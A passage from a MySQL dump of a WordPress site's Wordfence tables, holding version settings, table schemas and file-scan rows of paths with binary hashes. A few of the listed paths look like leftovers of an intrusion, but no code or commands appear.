",\"66.249.71.128\\/27\",\"66.249.71.160\\/27\",\"66.249.71.192\\/27\",\"66.249.71.224\\/27\",\"66.249.71.32\\/27\",\"66.249.71.64\\/27\",\"66.249.71.96\\/27\",\"66.249.72.0\\/27\",\"66.249.72.128\\/27\",\"66.249.72.160\\/27\",\"66.249.72.192\\/27\",\"66.249.72.224\\/27\",\"66.249.72.32\\/27\",\"66.249.72.64\\/27\",\"66.249.72.96\\/27\",\"66.249.73.0\\/27\",\"66.249.73.128\\/27\",\"66.249.73.160\\/27\",\"66.249.73.192\\/27\",\"66.249.73.224\\/27\",\"66.249.73.32\\/27\",\"66.249.73.64\\/27\",\"66.249.73.96\\/27\",\"66.249.74.0\\/27\",\"66.249.74.128\\/27\",\"66.249.74.160\\/27\",\"66.249.74.192\\/27\",\"66.249.74.224\\/27\",\"66.249.74.32\\/27\",\"66.249.74.64\\/27\",\"66.249.74.96\\/27\",\"66.249.75.0\\/27\",\"66.249.75.128\\/27\",\"66.249.75.160\\/27\",\"66.249.75.192\\/27\",\"66.249.75.224\\/27\",\"66.249.75.32\\/27\",\"66.249.75.64\\/27\",\"66.249.75.96\\/27\",\"66.249.76.0\\/27\",\"66.249.76.128\\/27\",\"66.249.76.160\\/27\",\"66.249.76.192\\/27\",\"66.249.76.224\\/27\",\"66.249.76.32\\/27\",\"66.249.76.64\\/27\",\"66.249.76.96\\/27\",\"66.249.77.0\\/27\",\"66.249.77.128\\/27\",\"66.249.77.160\\/27\",\"66.249.77.192\\/27\",\"66.249.77.224\\/27\",\"66.249.77.32\\/27\",\"66.249.77.64\\/27\",\"66.249.77.96\\/27\",\"66.249.78.0\\/27\",\"66.249.78.128\\/27\",\"66.249.78.160\\/27\",\"66.249.78.192\\/27\",\"66.249.78.224\\/27\",\"66.249.78.32\\/27\",\"66.249.78.64\\/27\",\"66.249.78.96\\/27\",\"66.249.79.0\\/27\",\"66.249.79.128\\/27\",\"66.249.79.160\\/27\",\"66.249.79.192\\/27\",\"66.249.79.224\\/27\",\"66.249.79.32\\/27\",\"66.249.79.64\\/27\"]}}','yes'),
('wordfenceI18n','1','yes'),
('wordpressPluginVersions','a:6:{s:7:\"akismet\";s:5:\"5.7.2\";s:26:\"header-footer-code-manager\";s:6:\"1.1.46\";s:5:\"hello\";s:5:\"1.7.2\";s:9:\"loginizer\";s:5:\"2.1.0\";s:9:\"simpletoc\";s:5:\"7.3.0\";s:9:\"wordfence\";s:5:\"9.0.1\";}','yes'),
('wordpressThemeVersions','a:7:{s:14:\"twentynineteen\";s:3:\"3.4\";s:12:\"twentytwenty\";s:3:\"3.2\";s:16:\"twentytwentyfive\";s:3:\"1.5\";s:16:\"twentytwentyfour\";s:3:\"1.6\";s:15:\"twentytwentyone\";s:3:\"2.9\";s:17:\"twentytwentythree\";s:3:\"1.7\";s:15:\"twentytwentytwo\";s:3:\"2.2\";}','yes'),
('wordpressVersion','6.9.7','yes'),
('wp_home_url','https://trevorklee.com','yes'),
('wp_site_url','https://trevorklee.com','yes');
/*!40000 ALTER TABLE `wp4v_wfconfig` ENABLE KEYS */;
UNLOCK TABLES;

--
-- Table structure for table `wp4v_wfcrawlers`
--

DROP TABLE IF EXISTS `wp4v_wfcrawlers`;
/*!40101 SET @saved_cs_client     = @@character_set_client */;
/*!40101 SET character_set_client = utf8mb4 */;
CREATE TABLE `wp4v_wfcrawlers` (
  `IP` binary(16) NOT NULL DEFAULT '\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0',
  `patternSig` binary(16) NOT NULL,
  `status` char(8) NOT NULL,
  `lastUpdate` int(10) unsigned NOT NULL,
  `PTR` varchar(255) DEFAULT '',
  PRIMARY KEY (`IP`,`patternSig`)
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb3 COLLATE=utf8mb3_general_ci;
/*!40101 SET character_set_client = @saved_cs_client */;

--
-- Dumping data for table `wp4v_wfcrawlers`
--

LOCK TABLES `wp4v_wfcrawlers` WRITE;
/*!40000 ALTER TABLE `wp4v_wfcrawlers` DISABLE KEYS */;
/*!40000 ALTER TABLE `wp4v_wfcrawlers` ENABLE KEYS */;
UNLOCK TABLES;

--
-- Table structure for table `wp4v_wffilechanges`
--

DROP TABLE IF EXISTS `wp4v_wffilechanges`;
/*!40101 SET @saved_cs_client     = @@character_set_client */;
/*!40101 SET character_set_client = utf8mb4 */;
CREATE TABLE `wp4v_wffilechanges` (
  `filenameHash` char(64) NOT NULL,
  `file` varchar(1000) NOT NULL,
  `md5` char(32) NOT NULL,
  PRIMARY KEY (`filenameHash`)
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb3 COLLATE=utf8mb3_general_ci;
/*!40101 SET character_set_client = @saved_cs_client */;

--
-- Dumping data for table `wp4v_wffilechanges`
--

LOCK TABLES `wp4v_wffilechanges` WRITE;
/*!40000 ALTER TABLE `wp4v_wffilechanges` DISABLE KEYS */;
/*!40000 ALTER TABLE `wp4v_wffilechanges` ENABLE KEYS */;
UNLOCK TABLES;

--
-- Table structure for table `wp4v_wffilemods`
--

DROP TABLE IF EXISTS `wp4v_wffilemods`;
/*!40101 SET @saved_cs_client     = @@character_set_client */;
/*!40101 SET character_set_client = utf8mb4 */;
CREATE TABLE `wp4v_wffilemods` (
  `filenameMD5` binary(16) NOT NULL,
  `filename` varchar(1000) NOT NULL,
  `real_path` text NOT NULL,
  `knownFile` tinyint(3) unsigned NOT NULL,
  `oldMD5` binary(16) NOT NULL DEFAULT '\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0',
  `newMD5` binary(16) NOT NULL,
  `SHAC` binary(32) NOT NULL DEFAULT '\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0',
  `stoppedOnSignature` varchar(255) NOT NULL DEFAULT '',
  `stoppedOnPosition` int(10) unsigned NOT NULL DEFAULT 0,
  `isSafeFile` varchar(1) NOT NULL DEFAULT '?',
  PRIMARY KEY (`filenameMD5`)
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb3 COLLATE=utf8mb3_general_ci;
/*!40101 SET character_set_client = @saved_cs_client */;

--
-- Dumping data for table `wp4v_wffilemods`
--

LOCK TABLES `wp4v_wffilemods` WRITE;
/*!40000 ALTER TABLE `wp4v_wffilemods` DISABLE KEYS */;
INSERT INTO `wp4v_wffilemods` VALUES
('\0}X','wp-content/themes/twentytwentyfive/assets/images/hero-podcast.webp','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfive/assets/images/hero-podcast.webp',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0',';M%4;\0','b-~%~\0GƶM58','',0,'?'),
('\0?H\0E}\"','wp-includes/sodium_compat/lib/namespaced.php','/home/trevorkl/trevorklee.com/wp-includes/sodium_compat/lib/namespaced.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','01vnG\r',']/r~ʺOCcxBj/oUI*','',0,'?'),
('\0)4\nTYd4G~','wp-includes/images/w-logo-blue-white-bg.png','/home/trevorkl/trevorklee.com/wp-includes/images/w-logo-blue-white-bg.png',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','\0Ȉk|Ѽ','OɗoCA/x<%4=?','',0,'?'),
('\00#9Z4j$','wp-admin/network/user-edit.php','/home/trevorkl/trevorklee.com/wp-admin/network/user-edit.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','\nd4VڋS~tɱź','oᕑ\"tySM8!9/?YX','',0,'?'),
('\05g꫔c0\"D','wp-includes/css/media-views-rtl.css','/home/trevorkl/trevorklee.com/wp-includes/css/media-views-rtl.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','[w%LRO[','ѳO떌K;o\ZسdE%Mtp\"KB','',0,'?'),
('\08<lcˊgg)9','wp-content/themes/twentytwentyone/assets/images/roses-tremieres-hollyhocks-1884.jpg','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyone/assets/images/roses-tremieres-hollyhocks-1884.jpg',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0',' ;s[ɪ','ZBLws³-M}GlEMmE','',0,'?'),
('\0C_\njD@k','wp-admin/network/index.php','/home/trevorkl/trevorklee.com/wp-admin/network/index.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','P/IGV7wY','E7]0-iY6w~U6','',0,'?'),
('\0GM(YlWz!','wp-includes/sodium_compat/src/Core/X25519.php','/home/trevorkl/trevorklee.com/wp-includes/sodium_compat/src/Core/X25519.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','.mj5*75nݔ','.\"*O7bP\'u1+7a','',0,'?'),
('\0\\sTÐ֘8','wp-includes/blocks/post-excerpt/editor.css','/home/trevorkl/trevorklee.com/wp-includes/blocks/post-excerpt/editor.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','9aN4=\r^','~ŪAWw@7vz4_','',0,'?'),
('\0^m#Kg 4F','wp-content/plugins/akismet/_inc/akismet-admin.js','/home/trevorkl/trevorklee.com/wp-content/plugins/akismet/_inc/akismet-admin.js',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','XݭhӅhkT+','Ll_3\"j%vr\\ﵟ]3k','',0,'?'),
('\0mA}=I#o','wp-content/themes/twentytwentyone/assets/images/villa-with-orange-trees-nice.jpg','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyone/assets/images/villa-with-orange-trees-nice.jpg',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','\Z]Cr={e','%#Y]B>Sm_3D_:]6\n','',0,'?'),
('\0}a\rg1\rnL','wp-includes/css/dist/base-styles/admin-schemes.css','/home/trevorkl/trevorklee.com/wp-includes/css/dist/base-styles/admin-schemes.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','^O2NI\\G1R','5^>47nVg[o^[]\n','',0,'?'),
('\0;fQ=*Ǖ','wp-includes/js/wp-emoji.js','/home/trevorkl/trevorklee.com/wp-includes/js/wp-emoji.js',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','\Z\n&M+','q(NLz;\"mcÆvqy[|','',0,'?'),
('\0\'6&Hv]','wp-includes/block-bindings/post-meta.php','/home/trevorkl/trevorklee.com/wp-includes/block-bindings/post-meta.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','=n=FU*J','McC#Dʏr2e','',0,'?'),
('\0o','wp-includes/blocks/accordion-item/.htaccess','/home/trevorkl/trevorklee.com/wp-includes/blocks/accordion-item/.htaccess',0,'LʴR\Z\rC','LʴR\Z\rC','6e\\GU3q[bWU\'*6$m','',0,'?'),
('\09k5&ٙ 7N','wp-includes/sodium_compat/src/Core32/Curve25519.php','/home/trevorkl/trevorklee.com/wp-includes/sodium_compat/src/Core32/Curve25519.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','43k&t8p','j+JL¦{׹\ZI]ً=','',0,'?'),
('\00\ry ','wp-admin/network/.htaccess','/home/trevorkl/trevorklee.com/wp-admin/network/.htaccess',0,'LʴR\Z\rC','LʴR\Z\rC','6e\\GU3q[bWU\'*6$m','',0,'?'),
('\0x<^ C{3R','wp-includes/blocks/comment-reply-link/.htaccess','/home/trevorkl/trevorklee.com/wp-includes/blocks/comment-reply-link/.htaccess',0,'LʴR\Z\rC','LʴR\Z\rC','6e\\GU3q[bWU\'*6$m','',0,'?'),
('\0ZrN-^_2','seo-config.php','/home/trevorkl/trevorklee.com/seo-config.php',0,'V(6Q#d0','V(6Q#d0','m,ߥVX!{5}=ev','',0,'?'),
('\0XL&\Zf','wp-includes/blocks/page-list-item/block.json','/home/trevorkl/trevorklee.com/wp-includes/blocks/page-list-item/block.json',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','--ªZ(ΡRC','?5࠰)\'\\DMh_','',0,'?'),
('\0|9ue@','wp-admin/includes/image.php','/home/trevorkl/trevorklee.com/wp-admin/includes/image.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','D9I61','ٓ>\n]D\0su}IIPPa','',0,'?'),
('\0D`8Rɲ%','wp-content/plugins/wordfence/waf/wfWAFIPBlocksController.php','/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/waf/wfWAFIPBlocksController.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','M{㜰4Ty囋','!*<\\{_&,<+쳸','',0,'?'),
('\0K%5,$ˣ','wp-includes/blocks/video/theme.min.css','/home/trevorkl/trevorklee.com/wp-includes/blocks/video/theme.min.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','	X6TcW#\'L','D f7R.+;`1-p:}yu6','',0,'?'),
('\0lDdu^Y','wp-admin/user/privacy.php','/home/trevorkl/trevorklee.com/wp-admin/user/privacy.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','dIU{x1A','FuX\0og:~h_5pt$','',0,'?'),
('\06uY','wp-content/themes/twentytwentyone/assets/sass/05-blocks/button/_editor.scss','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyone/assets/sass/05-blocks/button/_editor.scss',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','Q9!OiPϫ{','˿K3Ao\rwvǤ-%','',0,'?'),
('\0vئݞ','wp-includes/blocks/post-template/style-rtl.css','/home/trevorkl/trevorklee.com/wp-includes/blocks/post-template/style-rtl.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','®ӈ#@K','h_[rT\r69D:Ǘ','',0,'?'),
('\0$XG-tUƹ','wp-includes/blocks/navigation-link/style-rtl.css','/home/trevorkl/trevorklee.com/wp-includes/blocks/navigation-link/style-rtl.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','o^P=x','(sWێ⣘}xXu%aM8ԇ#','',0,'?'),
('\0 $ә\0֫','wp-includes/block-patterns.php','/home/trevorkl/trevorklee.com/wp-includes/block-patterns.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','hhB\"AyC','Rpt_9ɝaM5','',0,'?'),
('	0;M','wp-includes/sitemaps/nsrytze/1apqerf/.htaccess','/home/trevorkl/trevorklee.com/wp-includes/sitemaps/nsrytze/1apqerf/.htaccess',0,'q	n\03%Y','q	n\03%Y',';:3d$,KNnNpR6A','',0,'?'),
('\rx+Uڜ','wp-includes/css/dist/list-reusable-blocks/style.min.css','/home/trevorkl/trevorklee.com/wp-includes/css/dist/list-reusable-blocks/style.min.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','@~9J79+ۈe','0/9oD`ucԲ[U.','',0,'?'),
('\nNaa7g,m9','wp-includes/blocks/query-total/.htaccess','/home/trevorkl/trevorklee.com/wp-includes/blocks/query-total/.htaccess',0,'LʴR\Z\rC','LʴR\Z\rC','6e\\GU3q[bWU\'*6$m','',0,'?'),
('\Zף(&D%0h','wp-includes/Requests/src/Utility/CaseInsensitiveDictionary.php','/home/trevorkl/trevorklee.com/wp-includes/Requests/src/Utility/CaseInsensitiveDictionary.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','W!pm5RHE)','Ҟ\0[U =b\Z^ճ','',0,'?'),
('/>(3','wp-includes/blocks/verse/style.min.css','/home/trevorkl/trevorklee.com/wp-includes/blocks/verse/style.min.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','eˣRR|','j/+H+׈z*c*aae','',0,'?'),
('64Sh8PU','wp-content/plugins/loginizer/lib/hybridauth/Logger/Logger.php','/home/trevorkl/trevorklee.com/wp-content/plugins/loginizer/lib/hybridauth/Logger/Logger.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','smsy9sFw','/1p|\0D\Z@\05>Ҷi*\':','',0,'?'),
('>Hy[$','wp-includes/blocks/post-terms/.htaccess','/home/trevorkl/trevorklee.com/wp-includes/blocks/post-terms/.htaccess',0,'LʴR\Z\rC','LʴR\Z\rC','6e\\GU3q[bWU\'*6$m','',0,'?'),
('C(LC*R΍\0','wp-content/plugins/wordfence/lib/wfCurlInterceptor.php','/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/lib/wfCurlInterceptor.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','FHim{X{bȤL','\\OqL{3<K9\n=','',0,'?'),
('NQ\"*hzrw|\Z','wp-admin/images/media-button-other.gif','/home/trevorkl/trevorklee.com/wp-admin/images/media-button-other.gif',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','ayO1/2|	{&]','Lp-87Q|Ji`1O2c','',0,'?'),
('WjLBBo','wp-includes/blocks/comment-date/.htaccess','/home/trevorkl/trevorklee.com/wp-includes/blocks/comment-date/.htaccess',0,'LʴR\Z\rC','LʴR\Z\rC','6e\\GU3q[bWU\'*6$m','',0,'?'),
('R\"3TS','wp-content/themes/twentytwentyfive/assets/images/woman-splashing-water.webp','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfive/assets/images/woman-splashing-water.webp',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0',')=յyeu_p','ɐFag$w͉8c\\(/^/\0','',0,'?'),
(',]H41','wp-content/themes/twentytwentytwo/inc/patterns/footer-blog.php','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentytwo/inc/patterns/footer-blog.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','Fք=iq\'8','5iTVx@urE,yh','',0,'?'),
('S%Є%;','wp-content/themes/twentytwentyfive/styles/typography/typography-preset-1.json','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfive/styles/typography/typography-preset-1.json',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','D|r<Y\Z','q _LZHX&|6<WYA :\\','',0,'?'),
('ThzPr','wp-admin/widgets.php','/home/trevorkl/trevorklee.com/wp-admin/widgets.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','z*Np=2','|\n2U)j+oL	)o','',0,'?'),
('ϋД\'OtʗM;','wp-includes/js/dist/deprecated.min.js','/home/trevorkl/trevorklee.com/wp-includes/js/dist/deprecated.min.js',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','T@UJ1	+4iK.','׎Y?gqb6c\"~lCQ','',0,'?'),
('X|_wc:j','wp-includes/blocks/search/block.json','/home/trevorkl/trevorklee.com/wp-includes/blocks/search/block.json',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','}@R[q','Hp􆡼V9\0x','',0,'?'),
('E?tB9bvF`1','wp-content/plugins/wordfence/modules/login-security/img/loading_background.png','/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/modules/login-security/img/loading_background.png',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','\'2p\nKX','Ύ%XŖF1s;Lzr璻','',0,'?'),
('kJo9NT8|','wp-content/plugins/wordfence/images/audit-log-preview.png','/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/images/audit-log-preview.png',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','		쏪]B','K:)Uufw$zԎ78c3Ka','',0,'?'),
('\nQd#Y','wp-includes/Requests/src/Proxy/.htaccess','/home/trevorkl/trevorklee.com/wp-includes/Requests/src/Proxy/.htaccess',0,'LʴR\Z\rC','LʴR\Z\rC','6e\\GU3q[bWU\'*6$m','',0,'?'),
('t]ٟuuj','wp-admin/images/menu-vs.png','/home/trevorkl/trevorklee.com/wp-admin/images/menu-vs.png',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','qL,_;1/E','GiH|)E;\"_;ԣ4Իwly','',0,'?'),
('~w`5;F㮮','wp-includes/js/jquery/ui/effect-size.min.js','/home/trevorkl/trevorklee.com/wp-includes/js/jquery/ui/effect-size.min.js',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','b2\\Z$r','^-o\rf	2߽Άf','',0,'?'),
('=q\rljA+','wp-admin/user/user-edit.php','/home/trevorkl/trevorklee.com/wp-admin/user/user-edit.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','<D\0\n#E','Xxno{\0\\䞿e[jZN','',0,'?'),
('\Zޞ77++f','wp-includes/sitemaps/gajftko/rdkfahv/gqcshxk/php.ini','/home/trevorkl/trevorklee.com/wp-includes/sitemaps/gajftko/rdkfahv/gqcshxk/php.ini',0,'Psقdh#K','Psقdh#K',':Aa\'\rIۺw)}WtO','',0,'0'),
('M-E]','wp-includes/js/dist/script-modules/vips/loader.min.js','/home/trevorkl/trevorklee.com/wp-includes/js/dist/script-modules/vips/loader.min.js',0,'/hyD֣{`f=D','/hyD֣{`f=D','*TÊv*R퉕}j','',0,'?'),
('3%\0Hv]','wp-includes/blocks/query-total/style-rtl.css','/home/trevorkl/trevorklee.com/wp-includes/blocks/query-total/style-rtl.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','r<X\nx_(l\"I','f.dLJ fcU}d.q3t2㤦','',0,'?'),
('HC!\"(','wp-includes/js/tinymce/plugins/compat3x/css/dialog.css','/home/trevorkl/trevorklee.com/wp-includes/js/tinymce/plugins/compat3x/css/dialog.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','wyBo|','oJj$scRQc伍F','',0,'?'),
('J\rӷG>','wp-includes/class-walker-page-dropdown.php','/home/trevorkl/trevorklee.com/wp-includes/class-walker-page-dropdown.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','z`Tuϡ','s>w`kP䐆:x\nqpe(','',0,'?'),
(']h2QeW\ZS','wp-content/themes/twentytwentyfive/patterns/page-coming-soon.php','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfive/patterns/page-coming-soon.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','޹d\rJ','0d84= vвGBN\ZJ>%3\"','',0,'?'),
('usy6\'v,=','wp-includes/js/tinymce/plugins/wordpress/plugin.min.js','/home/trevorkl/trevorklee.com/wp-includes/js/tinymce/plugins/wordpress/plugin.min.js',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','@\ZVZ ','\"	!Uayx$3<e8','',0,'?'),
('\"qUy9%Q','wp-includes/class-wp-matchesmapregex.php','/home/trevorkl/trevorklee.com/wp-includes/class-wp-matchesmapregex.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','%`^`|j\r','C;ZzZFT{^x}Z','',0,'?'),
('6	[<\\p','wp-content/themes/twentytwentyfive/assets/fonts/fira-sans/FiraSans-Black.woff2','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfive/assets/fonts/fira-sans/FiraSans-Black.woff2',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','%|\04<[BZ','Qv;:8F{*ȂCH>','',0,'?'),
('\".}}X1\Z','wp-content/themes/twentynineteen/template-parts/post/discussion-meta.php','/home/trevorkl/trevorklee.com/wp-content/themes/twentynineteen/template-parts/post/discussion-meta.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','9+6eA','Kjĳq2ic^%ܓKO?','',0,'?'),
('T	sR\rnBA','wp-content/themes/twentytwentyfive/package-lock.json','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfive/package-lock.json',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','%ds\"=OL','WwK3c|pʋo9}2','',0,'?'),
(' K iDt','wp-content/plugins/wordfence/crypto/vendor/paragonie/sodium_compat/src/Core32/Salsa20.php','/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/crypto/vendor/paragonie/sodium_compat/src/Core32/Salsa20.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','Zz#H','n]x\Z_ѪkB-a&̃','',0,'?'),
(':6','wp-includes/blocks/comment-edit-link/style-rtl.css','/home/trevorkl/trevorklee.com/wp-includes/blocks/comment-edit-link/style-rtl.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0',':S60	iEo','Oo*/ѷ8?/hh\'*','',0,'?'),
('7&Ȁ','wp-includes/js/tinymce/skins/lightgray/content.min.css','/home/trevorkl/trevorklee.com/wp-includes/js/tinymce/skins/lightgray/content.min.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','\\PIɥ<\\',')Y@u&Kg\0?\\F\'X0ǈ','',0,'?'),
('޺5N\"~','wp-content/themes/twentytwentyfour/assets/images/tourist-and-building.webp','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfour/assets/images/tourist-and-building.webp',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','}do<yJ)','[zɵW7G~e+spC9\Z','',0,'?'),
('*(*+Wjcp','wp-content/plugins/wordfence/crypto/vendor/autoload.php','/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/crypto/vendor/autoload.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','z?,zV=\r','n)Z<t9v7Ƚͼ','',0,'?'),
('浑1Q=E#S)?','wp-includes/js/dist/script-modules/block-library/navigation/view.min.js','/home/trevorkl/trevorklee.com/wp-includes/js/dist/script-modules/block-library/navigation/view.min.js',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','چj揥',',S9Q6IۍI\'[\"|`BE&','',0,'?'),
('*;	\r','wp-includes/blocks/heading/.htaccess','/home/trevorkl/trevorklee.com/wp-includes/blocks/heading/.htaccess',0,'LʴR\Z\rC','LʴR\Z\rC','6e\\GU3q[bWU\'*6$m','',0,'?'),
('0rH\"YK]T','wp-admin/css/site-icon-rtl.css','/home/trevorkl/trevorklee.com/wp-admin/css/site-icon-rtl.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','pL%7','J.Hz[bb<3yU','',0,'?'),
('(9l15nq','wp-includes/blocks/button/style.css','/home/trevorkl/trevorklee.com/wp-includes/blocks/button/style.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','b̈T3~58.','[^\0=z\0jl\']c;','',0,'?'),
('(љ\0H<_','wp-admin/includes/nav-menu.php','/home/trevorkl/trevorklee.com/wp-admin/includes/nav-menu.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','-:}U29yI','4^܋]fJb.S_','',0,'?'),
('3x2§h_','wp-includes/blocks/shortcode/editor.min.css','/home/trevorkl/trevorklee.com/wp-includes/blocks/shortcode/editor.min.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','>`Y<','ŵ3J}g9x 1ʅFސf','',0,'?'),
('<.4vc\"`t','wp-includes/class-wp-simplepie-sanitize-kses.php','/home/trevorkl/trevorklee.com/wp-includes/class-wp-simplepie-sanitize-kses.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','Vɐw:\ZG','5R6\"W<H`$`L','',0,'?'),
('iPÙld\0','wp-includes/css/jquery-ui-dialog.css','/home/trevorkl/trevorklee.com/wp-includes/css/jquery-ui-dialog.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','Qβy\ZW','\0\")\Zo\"5n\roIja','',0,'?'),
('k4c5<\"','wp-includes/js/dist/autop.min.js','/home/trevorkl/trevorklee.com/wp-includes/js/dist/autop.min.js',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','U>CB','e@͂8=Ld\rWu2','',0,'?'),
('pCy)	{','wp-content/themes/twentynineteen/sass/forms/_fields.scss','/home/trevorkl/trevorklee.com/wp-content/themes/twentynineteen/sass/forms/_fields.scss',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','߸9֯B','6w>wq{r','',0,'?'),
('N.!A25L','wp-includes/block-supports/utils.php','/home/trevorkl/trevorklee.com/wp-includes/block-supports/utils.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','pm/9ljT	^','WrW[\0K)\n\n.^u','',0,'?'),
('GСr!iJ2͗F','wp-includes/blocks/term-count/.htaccess','/home/trevorkl/trevorklee.com/wp-includes/blocks/term-count/.htaccess',0,'LʴR\Z\rC','LʴR\Z\rC','6e\\GU3q[bWU\'*6$m','',0,'?'),
('u_[HT','wp-includes/blocks/accordion-heading/style.css','/home/trevorkl/trevorklee.com/wp-includes/blocks/accordion-heading/style.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','@\nL}?)!','VT1/7(Z%Dv.c[--','',0,'?'),
('\'SDr!=','wp-includes/html-api/class-wp-html-span.php','/home/trevorkl/trevorklee.com/wp-includes/html-api/class-wp-html-span.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','ZqXM_)u\"/','o4]HOm\ZxRyj/','',0,'?'),
('یa8ڹQt','wp-content/plugins/wordfence/modules/login-security/views/page/feature-disabled.php','/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/modules/login-security/views/page/feature-disabled.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','mN}7.(','uђ$/.n0:_|xʹ\Z~','',0,'?'),
('x#*W`PD','wp-content/plugins/wordfence/modules/login-security/views/common/revoke-grace-period.php','/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/modules/login-security/views/common/revoke-grace-period.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','a]=]^o\"','q#f\"nsX4.aYm)*N','',0,'?'),
